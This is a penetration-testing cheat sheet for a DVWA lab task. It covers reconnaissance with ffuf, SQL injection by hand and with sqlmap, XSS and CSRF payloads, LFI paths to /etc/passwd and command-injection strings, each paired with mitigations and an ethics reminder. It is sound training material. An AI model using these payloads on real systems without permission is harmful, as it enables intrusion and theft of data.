Task 5 — Web Application Penetration Testing — Cheat Sheet

Compact reference: commands, payloads, workflows and remediation tips for DVWA / lab testing.

1. Lab setup & safety

• Use an isolated lab (Host-Only/Private network). Snapshot the target VM before tests. Set DVWA security to LOW for exploitation and raise it to test mitigations.

2. Tools

• Burp Suite (Proxy, Repeater, Intruder) • OWASP ZAP • SQLMap • curl, nc, ffuf • Browser DevTools • Wireshark (optional)

3. Reconnaissance & mapping

• Intercept traffic with Burp Proxy (127.0.0.1:8080).
• Explore directories with ffuf:

```
ffuf -u http://<TARGET>/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200
```

4. SQL Injection (SQLi) — quick tests

Manual payloads (try in inputs/params):

```
' OR '1'='1' -- - ' UNION SELECT null, version(), user(), database() -- ' OR SLEEP(5) --
```

Automate with sqlmap:

```
sqlmap -u "http://<TARGET>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"
--cookie="PHPSESSID=xxx; security=low" --batch --dbs
```

Mitigation: Use prepared statements/parameterized queries; least-privileged DB users; input validation.

5. Cross-Site Scripting (XSS)

Reflected test payloads:

```
<script>alert('XSS')</script> <img src=x onerror=alert('XSS')>
```

Test via Burp: intercept request → modify param → forward. Mitigation: Context-aware output encoding, CSP, HttpOnly cookies.

6. CSRF (Cross-Site Request Forgery)

Quick demo: craft auto-submitting HTML form that posts to target action while victim is authenticated.

```
<form action="http://<TARGET>/vuln/csrf" method="POST"><input type="hidden" name="pw"
value="hacked"></form><script>document.forms[0].submit()</script>
```

Mitigation: Use anti-CSRF tokens, SameSite cookies, re-auth for critical actions.

7. Auth & Session checks

Check session cookies and flags:

```
curl -I http://<TARGET>/
```

Mitigation: HttpOnly, Secure, SameSite flags; rotate session IDs on login; enforce logout and short timeouts.

8. File Inclusion (LFI/RFI) & Command Injection

LFI payload examples:

```
../../../../etc/passwd ../../../../var/www/html/config.php
```

RFI/Command injection test: try appending `; ls -la` or `| id` in input where commands are executed. Mitigation: whitelist files, disable allow_url_include, validate inputs, use OS-level escape functions.

9. Fuzzing & automation

• Burp Intruder for parameter fuzzing • ffuf for directory discovery • SQLMap for SQL automation • ZAP for quick active scanning (verify findings manually)

10. Reporting checklist

For each issue include: Title, Affected URL/param, Proof (request/response + screenshot), Risk rating (Low/Med/High/Critical), Impact, Recommendation, References (CVE/OWASP).

11. Quick commands summary

```
ffuf -u http://<TARGET>/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200 sqlmap -u
"http://<TARGET>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx;
security=low" --batch --dbs curl -I http://<TARGET>/ # Burp: set browser proxy to
127.0.0.1:8080
```

12. Ethics & safety

Only test on systems you own or have written permission to test. Document scope and get approvals. Use snapshots to revert changes.

Prepared for ApexPlanet — Task 5